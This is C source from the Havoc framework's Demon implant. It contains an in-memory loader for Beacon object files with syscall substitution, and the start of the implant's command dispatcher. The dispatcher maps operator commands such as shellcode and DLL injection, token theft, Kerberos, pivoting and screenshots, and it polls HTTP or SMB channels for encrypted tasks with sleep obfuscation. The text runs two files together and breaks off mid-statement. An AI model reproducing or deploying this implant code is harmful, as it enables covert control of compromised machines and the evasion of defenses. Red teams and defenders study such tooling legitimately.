VehDebugger( PEXCEPTION_POINTERS Exception ) { UINT32 RequestID = 0; PPACKAGE Package = NULL; PRINTF( "Exception: %p\n", Exception->ExceptionRecord->ExceptionCode ) // Leave faulty function #if _WIN64 Exception->ContextRecord->Rip = (DWORD64)(ULONG_PTR)CoffeeFunctionReturn; #else Exception->ContextRecord->Eip = (DWORD64)(ULONG_PTR)CoffeeFunctionReturn; #endif // TODO: obtaining the RequestID this way is almost surely not correct // given that CoffeeFunctionReturn won't point to BOF code but Demon code // also, if two BOFs are running at the same time, this VEH impl won't work if ( GetRequestIDForCallingObjectFile( CoffeeFunctionReturn, &RequestID ) ) { Package = PackageCreateWithRequestID( DEMON_COMMAND_INLINE_EXECUTE, RequestID ); } else { Package = PackageCreate( DEMON_COMMAND_INLINE_EXECUTE ); } PackageAddInt32( Package, DEMON_COMMAND_INLINE_EXECUTE_EXCEPTION ); PackageAddInt32( Package, Exception->ExceptionRecord->ExceptionCode ); PackageAddInt64( Package, (UINT64)(ULONG_PTR)Exception->ExceptionRecord->ExceptionAddress ); PackageTransmit( Package ); return EXCEPTION_CONTINUE_EXECUTION; } // check if the symbol is on the form: __imp_LIBNAME$FUNCNAME BOOL SymbolIncludesLibrary( LPSTR Symbol ) { // does it start with __imp_? if ( HashEx( Symbol, COFF_PREP_SYMBOL_SIZE, FALSE ) != COFF_PREP_SYMBOL ) return FALSE; // does it contain a $ (which separates DLL name and export name) SIZE_T Length = StringLengthA( Symbol ); for (SIZE_T i = COFF_PREP_SYMBOL_SIZE + 1; i < Length - 1; ++i) { if ( Symbol[ i ] == '$' ) return TRUE; } return FALSE; } BOOL SymbolIsImport( LPSTR Symbol ) { // does it start with __imp_? return HashEx( Symbol, COFF_PREP_SYMBOL_SIZE, FALSE ) == COFF_PREP_SYMBOL; } BOOL CoffeeProcessSymbol( PCOFFEE Coffee, LPSTR SymbolName, UINT16 SymbolType, PVOID* pFuncAddr ) { CHAR Bak[ 1024 ] = { 0 }; CHAR SymName[ 1024 ] = { 0 }; PCHAR SymLibrary = NULL; PCHAR SymFunction = NULL; HMODULE hLibrary = NULL; DWORD SymBeacon = HashEx( SymbolName, COFF_PREP_BEACON_SIZE, FALSE ); ANSI_STRING AnsiString = { 0 }; PPACKAGE Package = NULL; *pFuncAddr = NULL; MemCopy( Bak, SymbolName, StringLengthA( SymbolName ) + 1 ); if ( SymBeacon == COFF_PREP_BEACON ) { // this is an import symbol from Beacon: __imp_BeaconFUNCNAME SymFunction = SymbolName + COFF_PREP_SYMBOL_SIZE; for ( DWORD i = 0 ;; i++ ) { if ( ! BeaconApi[ i ].NameHash ) break; if ( HashStringA( SymFunction ) == BeaconApi[ i ].NameHash ) { //PUTS( "Found Beacon api function" ) *pFuncAddr = BeaconApi[ i ].Pointer; return TRUE; } } goto SymbolNotFound; } else if ( SymbolIsImport( SymbolName ) && ! SymbolIncludesLibrary( SymbolName ) ) { // this is an import symbol without library: __imp_FUNCNAME SymFunction = SymbolName + COFF_PREP_SYMBOL_SIZE; StringCopyA( SymName, SymFunction ); #if _M_IX86 // in x86, symbols can have this form: __imp__LoadLibraryA@4 // we need to make sure there is no '@' in the function name for ( DWORD i = 0 ;; ++i ) { if ( ! SymName[i] ) break; if ( SymName[i] == '@' ) { SymName[i] = 0; break; } } #endif // we support a handful of functions that don't usually have the DLL for ( DWORD i = 0 ;; i++ ) { if ( ! LdrApi[ i ].NameHash ) break; if ( HashStringA( SymName ) == LdrApi[ i ].NameHash ) { *pFuncAddr = LdrApi[ i ].Pointer; return TRUE; } } goto SymbolNotFound; } else if ( SymbolIsImport( SymbolName ) ) { // this is a typical import symbol in the form: __imp_LIBNAME$FUNCNAME SymLibrary = Bak + COFF_PREP_SYMBOL_SIZE; SymLibrary = StringTokenA( SymLibrary, "$" ); SymFunction = SymLibrary + StringLengthA( SymLibrary ) + 1; hLibrary = LdrModuleLoad( SymLibrary ); if ( ! hLibrary ) { PRINTF( "Failed to load library: Lib:[%s] Err:[%d]\n", SymLibrary, NtGetLastError() ); goto SymbolNotFound; } StringCopyA( SymName, SymFunction ); #if _M_IX86 // in x86, symbols can have this form: __imp__KERNEL32$GetProcessHeap@0 // we need to make sure there is no '@' in the function name for ( DWORD i = 0 ;; ++i ) { if ( ! SymName[i] ) break; if ( SymName[i] == '@' ) { SymName[i] = 0; break; } } #endif /* * we overwrite the addresses of some Nt apis to provide * automatic support for syscalls to BOFs */ if ( hLibrary == Instance->Modules.Ntdll ) { for ( DWORD i = 0 ;; i++ ) { if ( ! NtApi[ i ].NameHash ) break; if ( HashStringA( SymName ) == NtApi[ i ].NameHash ) { *pFuncAddr = NtApi[ i ].Pointer; return TRUE; } } } AnsiString.Length = StringLengthA( SymName ); AnsiString.MaximumLength = AnsiString.Length + sizeof( CHAR ); AnsiString.Buffer = SymName; if ( NT_SUCCESS( Instance->Win32.LdrGetProcedureAddress( hLibrary, &AnsiString, 0, pFuncAddr ) ) ) return TRUE; goto SymbolNotFound; } else if ( HashStringA( SymbolName ) == COFF_INSTANCE ) { // allow BOFs to reference the Instance struct *pFuncAddr = &Instance; return TRUE; } else if ( SymbolType != SYMBOL_IS_A_FUNCTION) { // TODO: should we also fail if the symbol is not a function? return TRUE; } SymbolNotFound: Package = PackageCreateWithRequestID( DEMON_COMMAND_INLINE_EXECUTE, Coffee->RequestID ); PackageAddInt32( Package, DEMON_COMMAND_INLINE_EXECUTE_SYMBOL_NOT_FOUND ); PackageAddString( Package, SymbolName ); PackageTransmit( Package ); return FALSE; } // This is our function where we can control/get the return address of it to use it in case of a Veh exception VOID CoffeeFunction( PVOID Address, PVOID Argument, SIZE_T Size ) { VOID ( *Function ) ( PCHAR , ULONG ) = Address; CoffeeFunctionReturn = __builtin_extract_return_addr( __builtin_return_address ( 0 ) ); // Execute our function Function( Argument, Size ); PUTS( "Finished" ) } BOOL CoffeeExecuteFunction( PCOFFEE Coffee, PCHAR Function, PVOID Argument, SIZE_T Size, UINT32 RequestID ) { PVOID CoffeeMain = NULL; PVOID VehHandle = NULL; PCHAR SymbolName = NULL; BOOL Success = FALSE; ULONG FunctionLength = StringLengthA( Function ); ULONG Protection = 0; ULONG BitMask = 0; if ( Instance->Config.Implant.CoffeeVeh ) { PUTS( "Register VEH handler..." ) // Add Veh Debugger in case that our BOF crashes etc. VehHandle = Instance->Win32.RtlAddVectoredExceptionHandler( 1, &VehDebugger ); if ( ! VehHandle ) { PACKAGE_ERROR_WIN32 return FALSE; } } // set appropriate permissions for each section for ( UINT16 SectionCnt = 0; SectionCnt < Coffee->Header->NumberOfSections; SectionCnt++ ) { Coffee->Section = C_PTR( U_PTR( Coffee->Data ) + sizeof( COFF_FILE_HEADER ) + U_PTR( sizeof( COFF_SECTION ) * SectionCnt ) ); if ( Coffee->Section->SizeOfRawData > 0 ) { BitMask = Coffee->Section->Characteristics & ( IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE ); if ( BitMask == 0 ) Protection = PAGE_NOACCESS; else if ( BitMask == IMAGE_SCN_MEM_EXECUTE ) Protection = PAGE_EXECUTE; else if ( BitMask == IMAGE_SCN_MEM_READ ) Protection = PAGE_READONLY; else if ( BitMask == ( IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE ) ) Protection = PAGE_EXECUTE_READ; else if ( BitMask == IMAGE_SCN_MEM_WRITE ) Protection = PAGE_WRITECOPY; else if ( BitMask == ( IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE ) ) Protection = PAGE_EXECUTE_WRITECOPY; else if ( BitMask == ( IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE ) ) Protection = PAGE_READWRITE; else if ( BitMask == ( IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE ) ) Protection = PAGE_EXECUTE_READWRITE; else { PRINTF( "Unknown protection: %x", Coffee->Section->Characteristics ); Protection = PAGE_EXECUTE_READWRITE; } if ( ( Coffee->Section->Characteristics & IMAGE_SCN_MEM_NOT_CACHED ) == IMAGE_SCN_MEM_NOT_CACHED ) Protection |= PAGE_NOCACHE; Success = MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->SecMap[ SectionCnt ].Ptr, Coffee->SecMap[ SectionCnt ].Size, Protection ); if ( ! Success ) { PUTS( "Failed to protect memory" ) return FALSE; } } } if ( Coffee->FunMapSize ) { // set the FunctionMap section to READONLY Success = MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->FunMap, Coffee->FunMapSize, PAGE_READONLY ); if ( ! Success ) { PUTS( "Failed to protect memory" ) return FALSE; } } // look for the "go" function for ( DWORD SymCounter = 0; SymCounter < Coffee->Header->NumberOfSymbols; SymCounter++ ) { if ( Coffee->Symbol[ SymCounter ].First.Value[ 0 ] != 0 ) SymbolName = Coffee->Symbol[ SymCounter ].First.Name; else SymbolName = ( ( PCHAR ) ( Coffee->Symbol + Coffee->Header->NumberOfSymbols ) ) + Coffee->Symbol[ SymCounter ].First.Value[ 1 ]; #if _M_IX86 // in x86, the "go" function might actually be named _go if ( SymbolName[0] == '_' ) SymbolName++; #endif if ( MemCompare( SymbolName, Function, FunctionLength ) == 0 ) { CoffeeMain = ( Coffee->SecMap[ Coffee->Symbol[ SymCounter ].SectionNumber - 1 ].Ptr + Coffee->Symbol[ SymCounter ].Value ); break; } } // did we find it? if ( ! CoffeeMain ) { PRINTF( "[!] Couldn't find function => %s\n", Function ); PPACKAGE Package = PackageCreateWithRequestID( DEMON_COMMAND_INLINE_EXECUTE, RequestID ); PackageAddInt32( Package, DEMON_COMMAND_INLINE_EXECUTE_SYMBOL_NOT_FOUND ); PackageAddString( Package, Function ); PackageTransmit( Package ); return FALSE; } // make sure the entry point is on executable memory Success = FALSE; for ( UINT16 SectionCnt = 0; SectionCnt < Coffee->Header->NumberOfSections; SectionCnt++ ) { if ( ( ULONG_PTR ) CoffeeMain >= ( ULONG_PTR ) Coffee->SecMap[ SectionCnt ].Ptr && ( ULONG_PTR ) CoffeeMain < U_PTR( Coffee->SecMap[ SectionCnt ].Ptr) + Coffee->SecMap[ SectionCnt ].Size ) { Coffee->Section = C_PTR( U_PTR( Coffee->Data ) + sizeof( COFF_FILE_HEADER ) + U_PTR( sizeof( COFF_SECTION ) * SectionCnt ) ); if ( ( Coffee->Section->Characteristics & IMAGE_SCN_MEM_EXECUTE ) == IMAGE_SCN_MEM_EXECUTE ) Success = TRUE; break; } } if ( ! Success ) { PRINTF( "The entry point (%p) is not on executable memory\n", CoffeeMain ) return FALSE; } PUTS( "[*] Execute coffee main\n" ); CoffeeFunction( CoffeeMain, Argument, Size ); // Remove our exception handler if ( VehHandle ) { Instance->Win32.RtlRemoveVectoredExceptionHandler( VehHandle ); } return TRUE; } VOID CoffeeCleanup( PCOFFEE Coffee ) { PVOID Pointer = NULL; SIZE_T Size = 0; NTSTATUS NtStatus = 0; if ( ! Coffee || ! Coffee->ImageBase ) return; if ( MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->ImageBase, Coffee->BofSize, PAGE_READWRITE ) ) MemSet( Coffee->ImageBase, 0, Coffee->BofSize ); Pointer = Coffee->ImageBase; Size = Coffee->BofSize; if ( ! NT_SUCCESS( ( NtStatus = SysNtFreeVirtualMemory( NtCurrentProcess(), &Pointer, &Size, MEM_RELEASE ) ) ) ) { NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); PRINTF( "[!] Failed to free memory: %p : %lu\n", Coffee->ImageBase, NtGetLastError() ); } if ( Coffee->SecMap ) { MemSet( Coffee->SecMap, 0, Coffee->Header->NumberOfSections * sizeof( SECTION_MAP ) ); Instance->Win32.LocalFree( Coffee->SecMap ); Coffee->SecMap = NULL; } } // Process sections relocation and symbols BOOL CoffeeProcessSections( PCOFFEE Coffee ) { PUTS( "Process Sections" ) PVOID FuncPtr = NULL; DWORD FuncCount = 0; UINT64 OffsetLong = 0; UINT32 Offset = 0; CHAR SymName[9] = { 0 }; PCHAR SymbolName = NULL; PVOID RelocAddr = NULL; PVOID FunMapAddr = NULL; PVOID SymbolSectionAddr = NULL; UINT16 SymbolType = 0; PCOFF_SYMBOL Symbol = NULL; for ( UINT16 SectionCnt = 0; SectionCnt < Coffee->Header->NumberOfSections; SectionCnt++ ) { Coffee->Section = C_PTR( U_PTR( Coffee->Data ) + sizeof( COFF_FILE_HEADER ) + U_PTR( sizeof( COFF_SECTION ) * SectionCnt ) ); Coffee->Reloc = C_PTR( U_PTR( Coffee->Data ) + Coffee->Section->PointerToRelocations ); for ( DWORD RelocCnt = 0; RelocCnt < Coffee->Section->NumberOfRelocations; RelocCnt++ ) { Symbol = &Coffee->Symbol[ Coffee->Reloc->SymbolTableIndex ]; if ( Symbol->First.Value[ 0 ] != 0 ) { // if the symbol is 8 bytes long, it will not be terminated by a null byte MemSet( SymName, 0, sizeof( SymName ) ); MemCopy( SymName, Symbol->First.Name, 8 ); SymbolName = SymName; // TODO: the following symbols take 2 entries: .text, .xdata, .pdata, .rdata // skip an entry if one of those is found } else { // in this scenario, we can trust that the symbol ends with a null byte SymbolName = ( ( PCHAR ) ( Coffee->Symbol + Coffee->Header->NumberOfSymbols ) ) + Symbol->First.Value[ 1 ]; } // address where the reloc must be written to RelocAddr = Coffee->SecMap[ SectionCnt ].Ptr + Coffee->Reloc->VirtualAddress; // address where the resolved function address will be stored FunMapAddr = Coffee->FunMap + ( FuncCount * sizeof( PVOID ) ); // the address of the section where the symbol is stored SymbolSectionAddr = Coffee->SecMap[ Symbol->SectionNumber - 1 ].Ptr; // type of the symbol SymbolType = Symbol->Type; if ( ! CoffeeProcessSymbol( Coffee, SymbolName, SymbolType, &FuncPtr ) ) { PRINTF( "Symbol '%s' couldn't be resolved\n", SymbolName ); return FALSE; } #if _WIN64 if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32 && FuncPtr != NULL ) { *( ( PVOID* ) FunMapAddr ) = FuncPtr; Offset = ( UINT32 ) ( U_PTR( FunMapAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ) ); *( ( PUINT32 ) RelocAddr ) = Offset; FuncCount++; } else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32 && FuncPtr == NULL ) { Offset = *( PUINT32 ) ( RelocAddr ); Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ); *( ( PUINT32 ) RelocAddr ) = Offset; } else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32_1 && FuncPtr == NULL ) { Offset = *( PUINT32 ) ( RelocAddr ); Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ) - 1; *( ( PUINT32 ) RelocAddr ) = Offset; } else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32_2 && FuncPtr == NULL ) { Offset = *( PUINT32 ) ( RelocAddr ); Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ) - 2; *( ( PUINT32 ) RelocAddr ) = Offset; } else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32_3 && FuncPtr == NULL ) { Offset = *( PUINT32 ) ( RelocAddr ); Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ) - 3; *( ( PUINT32 ) RelocAddr ) = Offset; } else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32_4 && FuncPtr == NULL ) { Offset = *( PUINT32 ) ( RelocAddr ); Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ) - 4; *( ( PUINT32 ) RelocAddr ) = Offset; } else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32_5 && FuncPtr == NULL ) { Offset = *( PUINT32 ) ( RelocAddr ); Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ) - 5; *( ( PUINT32 ) RelocAddr ) = Offset; } else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_ADDR32NB && FuncPtr == NULL ) { Offset = *( PUINT32 ) ( RelocAddr ); Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ); *( ( PUINT32 ) RelocAddr ) = Offset; } else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_ADDR64 && FuncPtr == NULL ) { OffsetLong = *( PUINT64 ) ( RelocAddr ); OffsetLong += U_PTR( SymbolSectionAddr ); *( ( PUINT64 ) RelocAddr ) = OffsetLong; } #else if ( Coffee->Reloc->Type == IMAGE_REL_I386_REL32 && FuncPtr == NULL ) { Offset = *( PUINT32 ) ( RelocAddr ); Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ); *( ( PUINT32 ) RelocAddr ) = Offset; } else if ( Coffee->Reloc->Type == IMAGE_REL_I386_DIR32 && FuncPtr != NULL ) { *( ( PVOID* ) FunMapAddr ) = FuncPtr; Offset = U_PTR( FunMapAddr ); *( ( PUINT32 ) RelocAddr ) = Offset; FuncCount++; } else if ( Coffee->Reloc->Type == IMAGE_REL_I386_DIR32 && FuncPtr == NULL ) { Offset = *( PUINT32 ) ( RelocAddr ); Offset += U_PTR( SymbolSectionAddr ); *( ( PUINT32 ) RelocAddr ) = Offset; } #endif else { if ( FuncPtr ) { PRINTF( "[!] Relocation type %d for Symbol %s not supported\n", Coffee->Reloc->Type, SymbolName ); } else { PRINTF( "[!] Relocation type not found: %d\n", Coffee->Reloc->Type ); } return FALSE; } Coffee->Reloc = C_PTR( U_PTR( Coffee->Reloc ) + sizeof( COFF_RELOC ) ); } } return TRUE; } // calculate how many __imp_* function there are SIZE_T CoffeeGetFunMapSize( PCOFFEE Coffee ) { CHAR SymName[9] = { 0 }; PCHAR SymbolName = NULL; ULONG NumberOfFuncs = 0; PCOFF_SYMBOL Symbol = NULL; for ( UINT16 SectionCnt = 0; SectionCnt < Coffee->Header->NumberOfSections; SectionCnt++ ) { Coffee->Section = C_PTR( U_PTR( Coffee->Data ) + sizeof( COFF_FILE_HEADER ) + U_PTR( sizeof( COFF_SECTION ) * SectionCnt ) ); Coffee->Reloc = C_PTR( U_PTR( Coffee->Data ) + Coffee->Section->PointerToRelocations ); for ( DWORD RelocCnt = 0; RelocCnt < Coffee->Section->NumberOfRelocations; RelocCnt++ ) { Symbol = &Coffee->Symbol[ Coffee->Reloc->SymbolTableIndex ]; if ( Symbol->First.Value[ 0 ] != 0 ) { // if the symbol is 8 bytes long, it will not be terminated by a null byte MemSet( SymName, 0, sizeof( SymName ) ); MemCopy( SymName, Symbol->First.Name, 8 ); SymbolName = SymName; } else { // in this scenario, we can trust that the symbol ends with a null byte SymbolName = ( ( PCHAR ) ( Coffee->Symbol + Coffee->Header->NumberOfSymbols ) ) + Symbol->First.Value[ 1 ]; } // if the symbol starts with __imp_, count it if ( HashEx( SymbolName, COFF_PREP_SYMBOL_SIZE, FALSE ) == COFF_PREP_SYMBOL ) NumberOfFuncs++; Coffee->Reloc = C_PTR( U_PTR( Coffee->Reloc ) + sizeof( COFF_RELOC ) ); } } return sizeof( PVOID ) * NumberOfFuncs; } VOID RemoveCoffeeFromInstance( PCOFFEE Coffee ) { PCOFFEE Entry = Instance->Coffees; PCOFFEE Last = Entry; if ( ! Coffee ) return; if ( Entry && Entry->RequestID == Coffee->RequestID ) { Instance->Coffees = Entry->Next; return; } Entry = Entry->Next; while ( Entry ) { if ( Entry->RequestID == Coffee->RequestID ) { Last->Next = Entry->Next; return; } Last = Entry; Entry = Entry->Next; } PUTS( "Coffe entry was not found" ) } VOID CoffeeLdr( PCHAR EntryName, PVOID CoffeeData, PVOID ArgData, SIZE_T ArgSize, UINT32 RequestID ) { PCOFFEE Coffee = NULL; PVOID NextBase = NULL; BOOL Success = FALSE; PRINTF( "[EntryName: %s] [CoffeeData: %p] [ArgData: %p] [ArgSize: %ld]\n", EntryName, CoffeeData, ArgData, ArgSize ) if ( ! CoffeeData ) { PUTS( "[!] Coffee data is empty" ); goto END; } /* * The BOF will be allocated as one big chunk of memory * all sections are kept page aligned * the FunctionMap stored at the end to prevent * reloc 32-bit offsets to overflow */ Coffee = Instance->Win32.LocalAlloc( LPTR, sizeof( COFFEE ) ); Coffee->Data = CoffeeData; Coffee->Header = Coffee->Data; Coffee->Symbol = C_PTR( U_PTR( Coffee->Data ) + Coffee->Header->PointerToSymbolTable ); Coffee->RequestID = RequestID; Coffee->Next = Instance->Coffees; Instance->Coffees = Coffee; #if _WIN64 if ( Coffee->Header->Machine != IMAGE_FILE_MACHINE_AMD64 ) { PUTS( "The BOF is not AMD64" ); goto END; } #else if ( Coffee->Header->Machine == IMAGE_FILE_MACHINE_AMD64 ) { PUTS( "The BOF is AMD64" ); goto END; } #endif Coffee->SecMap = Instance->Win32.LocalAlloc( LPTR, Coffee->Header->NumberOfSections * sizeof( SECTION_MAP ) ); Coffee->FunMapSize = CoffeeGetFunMapSize( Coffee ); if ( ! Coffee->SecMap ) { PUTS( "Failed to allocate memory" ) goto END; } // calculate the size of the entire BOF for ( UINT16 SecCnt = 0 ; SecCnt < Coffee->Header->NumberOfSections; SecCnt++ ) { Coffee->Section = C_PTR( U_PTR( Coffee->Data ) + sizeof( COFF_FILE_HEADER ) + U_PTR( sizeof( COFF_SECTION ) * SecCnt ) ); Coffee->BofSize += Coffee->Section->SizeOfRawData; Coffee->BofSize = ( SIZE_T ) ( ULONG_PTR ) PAGE_ALLIGN( Coffee->BofSize ); } // at the bottom of the BOF, store the Function map, to ensure all reloc offsets are below 4K Coffee->BofSize += Coffee->FunMapSize; Coffee->ImageBase = MmVirtualAlloc( DX_MEM_DEFAULT, NtCurrentProcess(), Coffee->BofSize, PAGE_READWRITE ); if ( ! Coffee->ImageBase ) { PUTS( "Failed to allocate memory for the BOF" ) goto END; } NextBase = Coffee->ImageBase; for ( UINT16 SecCnt = 0 ; SecCnt < Coffee->Header->NumberOfSections; SecCnt++ ) { Coffee->Section = C_PTR( U_PTR( Coffee->Data ) + sizeof( COFF_FILE_HEADER ) + U_PTR( sizeof( COFF_SECTION ) * SecCnt ) ); Coffee->SecMap[ SecCnt ].Size = Coffee->Section->SizeOfRawData; Coffee->SecMap[ SecCnt ].Ptr = NextBase; NextBase += Coffee->Section->SizeOfRawData; NextBase = PAGE_ALLIGN( NextBase ); PRINTF( "Coffee->SecMap[ %d ].Ptr => %p\n", SecCnt, Coffee->SecMap[ SecCnt ].Ptr ) MemCopy( Coffee->SecMap[ SecCnt ].Ptr, C_PTR( U_PTR( CoffeeData ) + Coffee->Section->PointerToRawData ), Coffee->Section->SizeOfRawData ); } // the FunMap is stored directly after the BOF Coffee->FunMap = NextBase; if ( ! CoffeeProcessSections( Coffee ) ) { PUTS( "[*] Failed to process relocation" ); goto END; } Success = CoffeeExecuteFunction( Coffee, EntryName, ArgData, ArgSize, RequestID ); END: PUTS( "[*] Cleanup memory" ); CoffeeCleanup( Coffee ); if ( Success ) { PPACKAGE Package = PackageCreateWithRequestID( DEMON_COMMAND_INLINE_EXECUTE, RequestID ); PackageAddInt32( Package, DEMON_COMMAND_INLINE_EXECUTE_RAN_OK ); PackageTransmit( Package ); } else { PPACKAGE Package = PackageCreateWithRequestID( DEMON_COMMAND_INLINE_EXECUTE, RequestID ); PackageAddInt32( Package, DEMON_COMMAND_INLINE_EXECUTE_COULD_NO_RUN ); PackageTransmit( Package ); } RemoveCoffeeFromInstance( Coffee ); if ( Coffee ) { MemSet( Coffee, 0, sizeof( Coffee ) ); Instance->Win32.LocalFree( Coffee ); Coffee = NULL; } } VOID CoffeeRunnerThread( PCOFFEE_PARAMS Param ) { if ( ! Param->EntryName || ! Param->CoffeeData ) goto ExitThread; CoffeeLdr( Param->EntryName, Param->CoffeeData, Param->ArgData, Param->ArgSize, Param->RequestID ); ExitThread: if ( Param ) { DATA_FREE( Param->EntryName, Param->EntryNameSize ); DATA_FREE( Param->CoffeeData, Param->CoffeeDataSize ); DATA_FREE( Param->ArgData, Param->ArgSize ); DATA_FREE( Param, sizeof( COFFEE_PARAMS ) ); } JobRemove( (DWORD)(ULONG_PTR)NtCurrentTeb()->ClientId.UniqueThread ); Instance->Threads--; Instance->Win32.RtlExitUserThread( 0 ); } VOID CoffeeRunner( PCHAR EntryName, DWORD EntryNameSize, PVOID CoffeeData, SIZE_T CoffeeDataSize, PVOID ArgData, SIZE_T ArgSize, UINT32 RequestID ) { PCOFFEE_PARAMS CoffeeParams = NULL; INJECTION_CTX InjectionCtx = { 0 }; #if _WIN64 BOOL x64 = TRUE; #else BOOL x64 = FALSE; #endif // Allocate memory CoffeeParams = Instance->Win32.LocalAlloc( LPTR, sizeof( COFFEE_PARAMS ) ); CoffeeParams->EntryName = Instance->Win32.LocalAlloc( LPTR, EntryNameSize ); CoffeeParams->CoffeeData = Instance->Win32.LocalAlloc( LPTR, CoffeeDataSize ); CoffeeParams->ArgData = Instance->Win32.LocalAlloc( LPTR, ArgSize ); CoffeeParams->EntryNameSize = EntryNameSize; CoffeeParams->CoffeeDataSize = CoffeeDataSize; CoffeeParams->ArgSize = ArgSize; CoffeeParams->RequestID = RequestID; MemCopy( CoffeeParams->EntryName, EntryName, EntryNameSize ); MemCopy( CoffeeParams->CoffeeData, CoffeeData, CoffeeDataSize ); MemCopy( CoffeeParams->ArgData, ArgData, ArgSize ); InjectionCtx.Parameter = CoffeeParams; Instance->Threads++; if ( ! ThreadCreate( THREAD_METHOD_NTCREATEHREADEX, NtCurrentProcess(), x64, CoffeeRunnerThread, CoffeeParams, NULL ) ) { PRINTF( "Failed to create new CoffeeRunnerThread thread: %d", NtGetLastError() ) PACKAGE_ERROR_WIN32 } } havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/Command.c000066400000000000000000003524031467014221700234150ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include SEC_DATA DEMON_COMMAND DemonCommands[] = { { .ID = DEMON_COMMAND_SLEEP, .Function = CommandSleep }, { .ID = DEMON_COMMAND_CHECKIN, .Function = CommandCheckin }, { .ID = DEMON_COMMAND_JOB, .Function = CommandJob }, { .ID = DEMON_COMMAND_PROC, .Function = CommandProc }, { .ID = DEMON_COMMAND_PROC_LIST, .Function = CommandProcList }, { .ID = DEMON_COMMAND_FS, .Function = CommandFS }, { .ID = DEMON_COMMAND_INLINE_EXECUTE, .Function = CommandInlineExecute }, { .ID = DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, .Function = CommandAssemblyInlineExecute }, { .ID = DEMON_COMMAND_ASSEMBLY_VERSIONS, .Function = CommandAssemblyListVersion }, { .ID = DEMON_COMMAND_CONFIG, .Function = CommandConfig }, { .ID = DEMON_COMMAND_SCREENSHOT, .Function = CommandScreenshot }, { .ID = DEMON_COMMAND_PIVOT, .Function = CommandPivot }, { .ID = DEMON_COMMAND_NET, .Function = CommandNet }, { .ID = DEMON_COMMAND_INJECT_DLL, .Function = CommandInjectDLL }, { .ID = DEMON_COMMAND_INJECT_SHELLCODE, .Function = CommandInjectShellcode }, { .ID = DEMON_COMMAND_SPAWN_DLL, .Function = CommandSpawnDLL }, { .ID = DEMON_COMMAND_TOKEN, .Function = CommandToken }, { .ID = DEMON_COMMAND_TRANSFER, .Function = CommandTransfer }, { .ID = DEMON_COMMAND_SOCKET, .Function = CommandSocket }, { .ID = DEMON_COMMAND_KERBEROS, .Function = CommandKerberos }, { .ID = DEMON_COMMAND_MEM_FILE, .Function = CommandMemFile }, { .ID = DEMON_EXIT, .Function = CommandExit }, // End { .ID = 0, .Function = NULL } }; // // TODO: rewrite this part // and move it into the Demon.c file // VOID CommandDispatcher( VOID ) { PARSER Parser = { 0 }; LPVOID DataBuffer = { 0 }; SIZE_T DataBufferSize = { 0 }; PARSER TaskParser = { 0 }; LPVOID TaskBuffer = { 0 }; UINT32 TaskBufferSize = { 0 }; UINT32 CommandID = { 0 }; UINT32 RequestID = { 0 }; PRINTF( "Session ID => %x\n", Instance->Session.AgentID ); do { if ( ! Instance->Session.Connected ) { break; } SleepObf(); if ( ReachedKillDate() ) { KillDate(); } // simply call SleepObf until we reach working hours or the kill date (if set) if ( ! InWorkingHours() ) { continue; } #ifdef TRANSPORT_HTTP /* Send our buffer. */ if ( ! PackageTransmitAll( &DataBuffer, &DataBufferSize ) && ! HostCheckup() ) { CommandExit( NULL ); } /* SMB */ #else // send all the packages we might have PackageTransmitAll( NULL, NULL ); // read from pipe to receive new tasks if ( ! SMBGetJob( &DataBuffer, &DataBufferSize ) ) { PUTS( "SMBGetJob failed" ) continue; } #endif if ( DataBuffer && DataBufferSize > 0 ) { ParserNew( &Parser, DataBuffer, DataBufferSize ); do { CommandID = ParserGetInt32( &Parser ); RequestID = ParserGetInt32( &Parser ); TaskBuffer = ParserGetBytes( &Parser, &TaskBufferSize ); Instance->CurrentRequestID = RequestID; if ( CommandID != DEMON_COMMAND_NO_JOB ) { PRINTF( "Task => RequestID:[%d : %x] CommandID:[%d : %x] TaskBuffer:[%x : %d]\n", RequestID, RequestID, CommandID, CommandID, TaskBuffer, TaskBufferSize ) if ( TaskBufferSize != 0 ) { ParserNew( &TaskParser, TaskBuffer, TaskBufferSize ); ParserDecrypt( &TaskParser, Instance->Config.AES.Key, Instance->Config.AES.IV ); } for ( UINT32 FunctionCounter = 0 ;; FunctionCounter++ ) { if ( DemonCommands[ FunctionCounter ].Function == NULL ) { break; } if ( DemonCommands[ FunctionCounter ].ID == CommandID ) { DemonCommands[ FunctionCounter ].Function( &TaskParser ); break; } } } } while ( Parser.Length > 12 ); MemSet( DataBuffer, 0, 